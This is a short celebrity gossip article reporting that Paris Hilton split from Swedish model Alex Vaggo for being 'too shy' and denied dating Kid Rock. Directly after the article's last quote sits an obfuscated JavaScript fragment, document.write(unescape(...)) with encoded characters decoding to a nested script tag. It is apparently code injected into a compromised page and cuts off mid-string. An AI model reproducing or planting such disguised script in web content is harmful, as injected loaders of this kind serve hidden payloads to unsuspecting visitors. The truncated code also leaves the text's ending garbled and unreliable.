Paris Hilton has dumped her new boyfriend because he is "too shy".
The 26-year-old socialite decided to end her fledgling relationship with Swedish Alex Vaggo - who she started dating in September - after the pizza delivery boy failed to excite her.
A source said: "She loved his good looks, but she gets bored very quickly, and he was just too shy and quiet for her. "She likes bad boys."
Paris announced to the world she was single again by stepping out with bad boy rocker Kid Rock in Toronto, Canada, at the weekend.
She said: "I'm single. I'm way too busy for a boyfriend."
'The Simple Life' star has also quickly put an end to speculation she is now dating Rock.
A spokesperson for Paris said: "She went to his show in Toronto with some friends and to the after-show party. They are absolutely not dating."
Paris met 20-year-old Alex in Los Angeles when he was backpacking round the US.
Last week, Alex - who worked as a model in his native Sweden and was planning to train as a doctor - gushed about how Paris had changed his life.
He said: "Thanks to her I'm modelling, taking meetings, going to clubs, eating at great restaurants and living the high life. It's amazing. She's changed my life in every way."document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22
